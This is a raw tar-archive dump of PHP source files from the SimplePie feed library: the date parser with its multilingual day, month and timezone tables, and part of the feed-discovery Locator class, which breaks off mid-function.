dvadf
/home/homerdlh/www/wp-includes/html-api/10/src.tar
Parse/Date.php000064400000062206151450001630007205 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Parse;

/**
 * Date Parser
 */
class Date
{
    /**
     * Input data
     *
     * @access protected
     * @var string
     */
    public $date;

    /**
     * List of days, calendar day name => ordinal day number in the week
     *
     * @access protected
     * @var array<string, int<1,7>>
     */
    public $day = [
        // English
        'mon' => 1,
        'monday' => 1,
        'tue' => 2,
        'tuesday' => 2,
        'wed' => 3,
        'wednesday' => 3,
        'thu' => 4,
        'thursday' => 4,
        'fri' => 5,
        'friday' => 5,
        'sat' => 6,
        'saturday' => 6,
        'sun' => 7,
        'sunday' => 7,
        // Dutch
        'maandag' => 1,
        'dinsdag' => 2,
        'woensdag' => 3,
        'donderdag' => 4,
        'vrijdag' => 5,
        'zaterdag' => 6,
        'zondag' => 7,
        // French
        'lundi' => 1,
        'mardi' => 2,
        'mercredi' => 3,
        'jeudi' => 4,
        'vendredi' => 5,
        'samedi' => 6,
        'dimanche' => 7,
        // German
        'montag' => 1,
        'mo' => 1,
        'dienstag' => 2,
        'di' => 2,
        'mittwoch' => 3,
        'mi' => 3,
        'donnerstag' => 4,
        'do' => 4,
        'freitag' => 5,
        'fr' => 5,
        'samstag' => 6,
        'sa' => 6,
        'sonnabend' => 6,
        // AFAIK no short form for sonnabend
        'so' => 7,
        'sonntag' => 7,
        // Italian
        'lunedì' => 1,
        'martedì' => 2,
        'mercoledì' => 3,
        'giovedì' => 4,
        'venerdì' => 5,
        'sabato' => 6,
        'domenica' => 7,
        // Spanish
        'lunes' => 1,
        'martes' => 2,
        'miércoles' => 3,
        'jueves' => 4,
        'viernes' => 5,
        'sábado' => 6,
        'domingo' => 7,
        // Finnish
        'maanantai' => 1,
        'tiistai' => 2,
        'keskiviikko' => 3,
        'torstai' => 4,
        'perjantai' => 5,
        'lauantai' => 6,
        'sunnuntai' => 7,
        // Hungarian
        'hétfő' => 1,
        'kedd' => 2,
        'szerda' => 3,
        'csütörtok' => 4,
        'péntek' => 5,
        'szombat' => 6,
        'vasárnap' => 7,
        // Greek
        'Δευ' => 1,
        'Τρι' => 2,
        'Τετ' => 3,
        'Πεμ' => 4,
        'Παρ' => 5,
        'Σαβ' => 6,
        'Κυρ' => 7,
        // Russian
        'Пн.' => 1,
        'Вт.' => 2,
        'Ср.' => 3,
        'Чт.' => 4,
        'Пт.' => 5,
        'Сб.' => 6,
        'Вс.' => 7,
    ];

    /**
     * List of months, calendar month name => calendar month number
     *
     * @access protected
     * @var array<string, int<1,12>>
     */
    public $month = [
        // English
        'jan' => 1,
        'january' => 1,
        'feb' => 2,
        'february' => 2,
        'mar' => 3,
        'march' => 3,
        'apr' => 4,
        'april' => 4,
        'may' => 5,
        // No long form of May
        'jun' => 6,
        'june' => 6,
        'jul' => 7,
        'july' => 7,
        'aug' => 8,
        'august' => 8,
        'sep' => 9,
        'september' => 9,
        'oct' => 10,
        'october' => 10,
        'nov' => 11,
        'november' => 11,
        'dec' => 12,
        'december' => 12,
        // Dutch
        'januari' => 1,
        'februari' => 2,
        'maart' => 3,
        // 'april' => 4,
        'mei' => 5,
        'juni' => 6,
        'juli' => 7,
        'augustus' => 8,
        // 'september' => 9,
        'oktober' => 10,
        // 'november' => 11,
        // 'december' => 12,
        // French
        'janvier' => 1,
        'février' => 2,
        'mars' => 3,
        'avril' => 4,
        'mai' => 5,
        'juin' => 6,
        'juillet' => 7,
        'août' => 8,
        'septembre' => 9,
        'octobre' => 10,
        'novembre' => 11,
        'décembre' => 12,
        // German
        'januar' => 1,
        // 'jan' => 1,
        'februar' => 2,
        // 'feb' => 2,
        'märz' => 3,
        'mär' => 3,
        // 'april' => 4,
        // 'apr' => 4,
        // 'mai' => 5, // no short form for may
        // 'juni' => 6,
        // 'jun' => 6,
        // 'juli' => 7,
        // 'jul' => 7,
        // 'august' => 8,
        // 'aug' => 8,
        // 'september' => 9,
        // 'sep' => 9,
        // 'oktober' => 10,
        'okt' => 10,
        // 'november' => 11,
        // 'nov' => 11,
        'dezember' => 12,
        'dez' => 12,
        // Italian
        'gennaio' => 1,
        'febbraio' => 2,
        'marzo' => 3,
        'aprile' => 4,
        'maggio' => 5,
        'giugno' => 6,
        'luglio' => 7,
        'agosto' => 8,
        'settembre' => 9,
        'ottobre' => 10,
        // 'novembre' => 11,
        'dicembre' => 12,
        // Spanish
        'enero' => 1,
        'febrero' => 2,
        // 'marzo' => 3,
        'abril' => 4,
        'mayo' => 5,
        'junio' => 6,
        'julio' => 7,
        // 'agosto' => 8,
        'septiembre' => 9,
        'setiembre' => 9,
        'octubre' => 10,
        'noviembre' => 11,
        'diciembre' => 12,
        // Finnish
        'tammikuu' => 1,
        'helmikuu' => 2,
        'maaliskuu' => 3,
        'huhtikuu' => 4,
        'toukokuu' => 5,
        'kesäkuu' => 6,
        'heinäkuu' => 7,
        'elokuu' => 8,
        'suuskuu' => 9,
        'lokakuu' => 10,
        'marras' => 11,
        'joulukuu' => 12,
        // Hungarian
        'január' => 1,
        'február' => 2,
        'március' => 3,
        'április' => 4,
        'május' => 5,
        'június' => 6,
        'július' => 7,
        'augusztus' => 8,
        'szeptember' => 9,
        'október' => 10,
        // 'november' => 11,
        // 'december' => 12,
        // Greek
        'Ιαν' => 1,
        'Φεβ' => 2,
        'Μάώ' => 3,
        'Μαώ' => 3,
        'Απρ' => 4,
        'Μάι' => 5,
        'Μαϊ' => 5,
        'Μαι' => 5,
        'Ιούν' => 6,
        'Ιον' => 6,
        'Ιούλ' => 7,
        'Ιολ' => 7,
        'Αύγ' => 8,
        'Αυγ' => 8,
        'Σεπ' => 9,
        'Οκτ' => 10,
        'Νοέ' => 11,
        'Δεκ' => 12,
        // Russian
        'Янв' => 1,
        'января' => 1,
        'Фев' => 2,
        'февраля' => 2,
        'Мар' => 3,
        'марта' => 3,
        'Апр' => 4,
        'апреля' => 4,
        'Май' => 5,
        'мая' => 5,
        'Июн' => 6,
        'июня' => 6,
        'Июл' => 7,
        'июля' => 7,
        'Авг' => 8,
        'августа' => 8,
        'Сен' => 9,
        'сентября' => 9,
        'Окт' => 10,
        'октября' => 10,
        'Ноя' => 11,
        'ноября' => 11,
        'Дек' => 12,
        'декабря' => 12,

    ];

    /**
     * List of timezones, abbreviation => offset from UTC
     *
     * @access protected
     * @var array<string, int>
     */
    public $timezone = [
        'ACDT' => 37800,
        'ACIT' => 28800,
        'ACST' => 34200,
        'ACT' => -18000,
        'ACWDT' => 35100,
        'ACWST' => 31500,
        'AEDT' => 39600,
        'AEST' => 36000,
        'AFT' => 16200,
        'AKDT' => -28800,
        'AKST' => -32400,
        'AMDT' => 18000,
        'AMT' => -14400,
        'ANAST' => 46800,
        'ANAT' => 43200,
        'ART' => -10800,
        'AZOST' => -3600,
        'AZST' => 18000,
        'AZT' => 14400,
        'BIOT' => 21600,
        'BIT' => -43200,
        'BOT' => -14400,
        'BRST' => -7200,
        'BRT' => -10800,
        'BST' => 3600,
        'BTT' => 21600,
        'CAST' => 18000,
        'CAT' => 7200,
        'CCT' => 23400,
        'CDT' => -18000,
        'CEDT' => 7200,
        'CEST' => 7200,
        'CET' => 3600,
        'CGST' => -7200,
        'CGT' => -10800,
        'CHADT' => 49500,
        'CHAST' => 45900,
        'CIST' => -28800,
        'CKT' => -36000,
        'CLDT' => -10800,
        'CLST' => -14400,
        'COT' => -18000,
        'CST' => -21600,
        'CVT' => -3600,
        'CXT' => 25200,
        'DAVT' => 25200,
        'DTAT' => 36000,
        'EADT' => -18000,
        'EAST' => -21600,
        'EAT' => 10800,
        'ECT' => -18000,
        'EDT' => -14400,
        'EEST' => 10800,
        'EET' => 7200,
        'EGT' => -3600,
        'EKST' => 21600,
        'EST' => -18000,
        'FJT' => 43200,
        'FKDT' => -10800,
        'FKST' => -14400,
        'FNT' => -7200,
        'GALT' => -21600,
        'GEDT' => 14400,
        'GEST' => 10800,
        'GFT' => -10800,
        'GILT' => 43200,
        'GIT' => -32400,
        'GST' => 14400,
        // 'GST' => -7200,
        'GYT' => -14400,
        'HAA' => -10800,
        'HAC' => -18000,
        'HADT' => -32400,
        'HAE' => -14400,
        'HAP' => -25200,
        'HAR' => -21600,
        'HAST' => -36000,
        'HAT' => -9000,
        'HAY' => -28800,
        'HKST' => 28800,
        'HMT' => 18000,
        'HNA' => -14400,
        'HNC' => -21600,
        'HNE' => -18000,
        'HNP' => -28800,
        'HNR' => -25200,
        'HNT' => -12600,
        'HNY' => -32400,
        'IRDT' => 16200,
        'IRKST' => 32400,
        'IRKT' => 28800,
        'IRST' => 12600,
        'JFDT' => -10800,
        'JFST' => -14400,
        'JST' => 32400,
        'KGST' => 21600,
        'KGT' => 18000,
        'KOST' => 39600,
        'KOVST' => 28800,
        'KOVT' => 25200,
        'KRAST' => 28800,
        'KRAT' => 25200,
        'KST' => 32400,
        'LHDT' => 39600,
        'LHST' => 37800,
        'LINT' => 50400,
        'LKT' => 21600,
        'MAGST' => 43200,
        'MAGT' => 39600,
        'MAWT' => 21600,
        'MDT' => -21600,
        'MESZ' => 7200,
        'MEZ' => 3600,
        'MHT' => 43200,
        'MIT' => -34200,
        'MNST' => 32400,
        'MSDT' => 14400,
        'MSST' => 10800,
        'MST' => -25200,
        'MUT' => 14400,
        'MVT' => 18000,
        'MYT' => 28800,
        'NCT' => 39600,
        'NDT' => -9000,
        'NFT' => 41400,
        'NMIT' => 36000,
        'NOVST' => 25200,
        'NOVT' => 21600,
        'NPT' => 20700,
        'NRT' => 43200,
        'NST' => -12600,
        'NUT' => -39600,
        'NZDT' => 46800,
        'NZST' => 43200,
        'OMSST' => 25200,
        'OMST' => 21600,
        'PDT' => -25200,
        'PET' => -18000,
        'PETST' => 46800,
        'PETT' => 43200,
        'PGT' => 36000,
        'PHOT' => 46800,
        'PHT' => 28800,
        'PKT' => 18000,
        'PMDT' => -7200,
        'PMST' => -10800,
        'PONT' => 39600,
        'PST' => -28800,
        'PWT' => 32400,
        'PYST' => -10800,
        'PYT' => -14400,
        'RET' => 14400,
        'ROTT' => -10800,
        'SAMST' => 18000,
        'SAMT' => 14400,
        'SAST' => 7200,
        'SBT' => 39600,
        'SCDT' => 46800,
        'SCST' => 43200,
        'SCT' => 14400,
        'SEST' => 3600,
        'SGT' => 28800,
        'SIT' => 28800,
        'SRT' => -10800,
        'SST' => -39600,
        'SYST' => 10800,
        'SYT' => 7200,
        'TFT' => 18000,
        'THAT' => -36000,
        'TJT' => 18000,
        'TKT' => -36000,
        'TMT' => 18000,
        'TOT' => 46800,
        'TPT' => 32400,
        'TRUT' => 36000,
        'TVT' => 43200,
        'TWT' => 28800,
        'UYST' => -7200,
        'UYT' => -10800,
        'UZT' => 18000,
        'VET' => -14400,
        'VLAST' => 39600,
        'VLAT' => 36000,
        'VOST' => 21600,
        'VUT' => 39600,
        'WAST' => 7200,
        'WAT' => 3600,
        'WDT' => 32400,
        'WEST' => 3600,
        'WFT' => 43200,
        'WIB' => 25200,
        'WIT' => 32400,
        'WITA' => 28800,
        'WKST' => 18000,
        'WST' => 28800,
        'YAKST' => 36000,
        'YAKT' => 32400,
        'YAPT' => 36000,
        'YEKST' => 21600,
        'YEKT' => 18000,
    ];

    /**
     * Cached PCRE for Date::$day
     *
     * @access protected
     * @var string
     */
    public $day_pcre;

    /**
     * Cached PCRE for Date::$month
     *
     * @access protected
     * @var string
     */
    public $month_pcre;

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array<string>
     */
    public $built_in = [];

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array<callable(string): (int|false)>
     */
    public $user = [];

    /**
     * Create new Date object, and set self::day_pcre,
     * self::month_pcre, and self::built_in
     *
     * @access private
     */
    public function __construct()
    {
        $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
        $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';

        static $cache;
        if (!isset($cache[get_class($this)])) {
            $all_methods = get_class_methods($this);

            foreach ($all_methods as $method) {
                if (strtolower(substr($method, 0, 5)) === 'date_') {
                    $cache[get_class($this)][] = $method;
                }
            }
        }

        foreach ($cache[get_class($this)] as $method) {
            $this->built_in[] = $method;
        }
    }

    /**
     * Get the object
     *
     * @access public
     * @return Date
     */
    public static function get()
    {
        static $object;
        if (!$object) {
            $object = new Date();
        }
        return $object;
    }

    /**
     * Parse a date
     *
     * @final
     * @access public
     * @param string $date Date to parse
     * @return int|false Timestamp corresponding to date string, or false on failure
     */
    public function parse(string $date)
    {
        foreach ($this->user as $method) {
            if (($returned = call_user_func($method, $date)) !== false) {
                return (int) $returned;
            }
        }

        foreach ($this->built_in as $method) {
            // TODO: we should really check this in constructor but that would require private properties.
            /** @var callable(string): (int|false) */
            $callable = [$this, $method];
            if (($returned = call_user_func($callable, $date)) !== false) {
                return $returned;
            }
        }

        return false;
    }

    /**
     * Add a callback method to parse a date
     *
     * @final
     * @access public
     * @param callable $callback
     * @return void
     */
    public function add_callback(callable $callback)
    {
        $this->user[] = $callback;
    }

    /**
     * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
     * well as allowing any of upper or lower case "T", horizontal tabs, or
     * spaces to be used as the time separator (including more than one))
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_w3cdtf(string $date)
    {
        $pcre = <<<'PCRE'
            /
            ^
            (?P<year>[0-9]{4})
            (?:
                -?
                (?P<month>[0-9]{2})
                (?:
                    -?
                    (?P<day>[0-9]{2})
                    (?:
                        [Tt\x09\x20]+
                        (?P<hour>[0-9]{2})
                        (?:
                            :?
                            (?P<minute>[0-9]{2})
                            (?:
                                :?
                                (?P<second>[0-9]{2})
                                (?:
                                    .
                                    (?P<second_fraction>[0-9]*)
                                )?
                            )?
                        )?
                        (?:
                            (?P<zulu>Z)
                            |   (?P<tz_sign>[+\-])
                                (?P<tz_hour>[0-9]{1,2})
                                :?
                                (?P<tz_minute>[0-9]{1,2})
                        )
                    )?
                )?
            )?
            $
            /x
PCRE;
        if (preg_match($pcre, $date, $match)) {
            // Fill in empty matches and convert to proper types.
            $year = (int) $match['year'];
            $month = isset($match['month']) ? (int) $match['month'] : 1;
            $day = isset($match['day']) ? (int) $match['day'] : 1;
            $hour = isset($match['hour']) ? (int) $match['hour'] : 0;
            $minute = isset($match['minute']) ? (int) $match['minute'] : 0;
            $second = isset($match['second']) ? (int) $match['second'] : 0;
            $second_fraction = isset($match['second_fraction']) ? ((int) $match['second_fraction']) / (10 ** strlen($match['second_fraction'])) : 0;
            $tz_sign = ($match['tz_sign'] ?? '') === '-' ? -1 : 1;
            $tz_hour = isset($match['tz_hour']) ? (int) $match['tz_hour'] : 0;
            $tz_minute = isset($match['tz_minute']) ? (int) $match['tz_minute'] : 0;

            // Numeric timezone
            $timezone = $tz_hour * 3600;
            $timezone += $tz_minute * 60;
            $timezone *= $tz_sign;

            // Convert the number of seconds to an integer, taking decimals into account
            $second = (int) round($second + $second_fraction);

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Remove RFC822 comments
     *
     * @access protected
     * @param string $string Data to strip comments from
     * @return string Comment stripped string
     */
    public function remove_rfc2822_comments(string $string)
    {
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($pos === 0 || $string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * Parse RFC2822's date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_rfc2822(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $wsp = '[\x09\x20]';
            $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
            $optional_fws = $fws . '?';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $minute = $second = '([0-9]{2})';
            $year = '([0-9]{2,4})';
            $num_zone = '([+\-])([0-9]{2})([0-9]{2})';
            $character_zone = '([A-Z]{1,5})';
            $zone = '(?:' . $num_zone . '|' . $character_zone . ')';
            $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
        }
        if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone ±
            9: Timezone hours
            10: Timezone minutes
            11: Alphabetic timezone
            */

            $day = (int) $match[2];
            // Find the month number
            $month = $this->month[strtolower($match[3])];
            $year = (int) $match[4];
            $hour = (int) $match[5];
            $minute = (int) $match[6];
            // Second is optional, if it is empty set it to zero
            $second = (int) $match[7];

            $tz_sign = $match[8];
            $tz_hour = (int) $match[9];
            $tz_minute = (int) $match[10];
            $tz_code = isset($match[11]) ? strtoupper($match[11]) : '';

            // Numeric timezone
            if ($tz_sign !== '') {
                $timezone = $tz_hour * 3600;
                $timezone += $tz_minute * 60;
                if ($tz_sign === '-') {
                    $timezone = 0 - $timezone;
                }
            }
            // Character timezone
            elseif (isset($this->timezone[$tz_code])) {
                $timezone = $this->timezone[$tz_code];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2/3 digit years
            if ($year < 50) {
                $year += 2000;
            } elseif ($year < 1000) {
                $year += 1900;
            }

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Parse RFC850's date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_rfc850(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $year = $hour = $minute = $second = '([0-9]{2})';
            $zone = '([A-Z]{1,5})';
            $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone
            */

            $day = (int) $match[2];
            // Month
            $month = $this->month[strtolower($match[3])];
            $year = (int) $match[4];
            $hour = (int) $match[5];
            $minute = (int) $match[6];
            // Second is optional, if it is empty set it to zero
            $second = (int) $match[7];

            $tz_code = strtoupper($match[8]);

            // Character timezone
            if (isset($this->timezone[$tz_code])) {
                $timezone = $this->timezone[$tz_code];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2 digit year
            if ($year < 50) {
                $year += 2000;
            } else {
                $year += 1900;
            }

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Parse C99's asctime()'s date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_asctime(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $wday_name = $this->day_pcre;
            $mon_name = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $sec = $min = '([0-9]{2})';
            $year = '([0-9]{4})';
            $terminator = '\x0A?\x00?';
            $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Month
            3: Day
            4: Hour
            5: Minute
            6: Second
            7: Year
            */

            $month = $this->month[strtolower($match[2])];
            return gmmktime((int) $match[4], (int) $match[5], (int) $match[6], $month, (int) $match[3], (int) $match[7]);
        }

        return false;
    }

    /**
     * Parse dates using strtotime()
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_strtotime(string $date)
    {
        $strtotime = strtotime($date);
        if ($strtotime === -1 || $strtotime === false) {
            return false;
        }

        return $strtotime;
    }
}

class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date');
Locator.php000064400000040473151450001630006663 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use DomDocument;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;

/**
 * Used for feed auto-discovery
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()}
 */
class Locator implements RegistryAware
{
    /** @var ?string */
    public $useragent = null;
    /** @var int */
    public $timeout = 10;
    /** @var File */
    public $file;
    /** @var string[] */
    public $local = [];
    /** @var string[] */
    public $elsewhere = [];
    /** @var array<mixed> */
    public $cached_entities = [];
    /** @var string */
    public $http_base;
    /** @var string */
    public $base;
    /** @var int */
    public $base_location = 0;
    /** @var int */
    public $checked_feeds = 0;
    /** @var int */
    public $max_checked_feeds = 10;
    /** @var bool */
    public $force_fsockopen = false;
    /** @var array<int, mixed> */
    public $curl_options = [];
    /** @var ?\DomDocument */
    public $dom;
    /** @var ?Registry */
    protected $registry;

    /**
     * @var Client|null
     */
    private $http_client = null;

    /**
     * @param array<int, mixed> $curl_options
     */
    public function __construct(File $file, int $timeout = 10, ?string $useragent = null, int $max_checked_feeds = 10, bool $force_fsockopen = false, array $curl_options = [])
    {
        $this->file = $file;
        $this->useragent = $useragent;
        $this->timeout = $timeout;
        $this->max_checked_feeds = $max_checked_feeds;
        $this->force_fsockopen = $force_fsockopen;
        $this->curl_options = $curl_options;

        $body = $this->file->get_body_content();

        if (class_exists('DOMDocument') && $body != '') {
            $this->dom = new \DOMDocument();

            set_error_handler([Misc::class, 'silence_errors']);
            try {
                $this->dom->loadHTML($body);
            } catch (\Throwable $ex) {
                $this->dom = null;
            }
            restore_error_handler();
        } else {
            $this->dom = null;
        }
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @param SimplePie::LOCATOR_* $type
     * @param array<Response>|null $working
     * @return Response|null
     */
    public function find(int $type = \SimplePie\SimplePie::LOCATOR_ALL, ?array &$working = null)
    {
        assert($this->registry !== null);

        if ($this->is_feed($this->file)) {
            return $this->file;
        }

        if (Misc::is_remote_uri($this->file->get_final_requested_uri())) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$this->file]);
            if ($sniffer->get_type() !== 'text/html') {
                return null;
            }
        }

        if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) {
            $this->get_base();
        }

        if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) {
            return $working[0];
        }

        if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) {
            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) {
                return $working[0];
            }
        }
        return null;
    }

    /**
     * @return bool
     */
    public function is_feed(Response $file, bool $check_html = false)
    {
        assert($this->registry !== null);

        if (Misc::is_remote_uri($file->get_final_requested_uri())) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$file]);
            $sniffed = $sniffer->get_type();
            $mime_types = ['application/rss+xml', 'application/rdf+xml',
                                'text/rdf', 'application/atom+xml', 'text/xml',
                                'application/xml', 'application/x-rss+xml'];
            if ($check_html) {
                $mime_types[] = 'text/html';
            }

            return in_array($sniffed, $mime_types);
        } elseif (is_file($file->get_final_requested_uri())) {
            return true;
        } else {
            return false;
        }
    }

    /**
     * @return void
     */
    public function get_base()
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }
        $this->http_base = $this->file->get_final_requested_uri();
        $this->base = $this->http_base;
        $elements = $this->dom->getElementsByTagName('base');
        foreach ($elements as $element) {
            if ($element->hasAttribute('href')) {
                $base = $this->registry->call(Misc::class, 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]);
                if ($base === false) {
                    continue;
                }
                $this->base = $base;
                $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
                break;
            }
        }
    }

    /**
     * @return array<Response>|null
     */
    public function autodiscovery()
    {
        $done = [];
        $feeds = [];
        $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));

        if (!empty($feeds)) {
            return array_values($feeds);
        }

        return null;
    }

    /**
     * @param string[] $done
     * @param array<string, Response> $feeds
     * @return array<string, Response>
     */
    protected function search_elements_by_tag(string $name, array &$done, array $feeds)
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName($name);
        foreach ($links as $link) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if ($link->hasAttribute('href') && $link->hasAttribute('rel')) {
                $rel = array_unique($this->registry->call(Misc::class, 'space_separated_tokens', [strtolower($link->getAttribute('rel'))]));
                $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;

                if ($this->base_location < $line) {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                } else {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                }
                if ($href === false) {
                    continue;
                }

                if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call(Misc::class, 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) {
                    $this->checked_feeds++;
                    $headers = [
                        'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                    ];

                    try {
                        $feed = $this->get_http_client()->request(Client::METHOD_GET, $href, $headers);

                        if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed, true)) {
                            $feeds[$href] = $feed;
                        }
                    } catch (ClientException $th) {
                        // Just mark it as done and continue.
                    }
                }
                $done[] = $href;
            }
        }

        return $feeds;
    }

    /**
     * @return true|null
     */
    public function get_links()
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName('a');
        foreach ($links as $link) {
            if ($link->hasAttribute('href')) {
                $href = trim($link->getAttribute('href'));
                $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
                if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) {
                    if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                    } else {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                    }
                    if ($href === false) {
                        continue;
                    }

                    $current = $this->registry->call(Misc::class, 'parse_url', [$this->file->get_final_requested_uri()]);

                    if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) {
                        $this->local[] = $href;
                    } else {
                        $this->elsewhere[] = $href;
                    }
                }
            }
        }
        $this->local = array_unique($this->local);
        $this->elsewhere = array_unique($this->elsewhere);
        if (!empty($this->local) || !empty($this->elsewhere)) {
            return true;
        }
        return null;
    }

    /**
     * Extracts first `link` element with given `rel` attribute inside the `head` element.
     *
     * @return string|null
     */
    public function get_rel_link(string $rel)
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
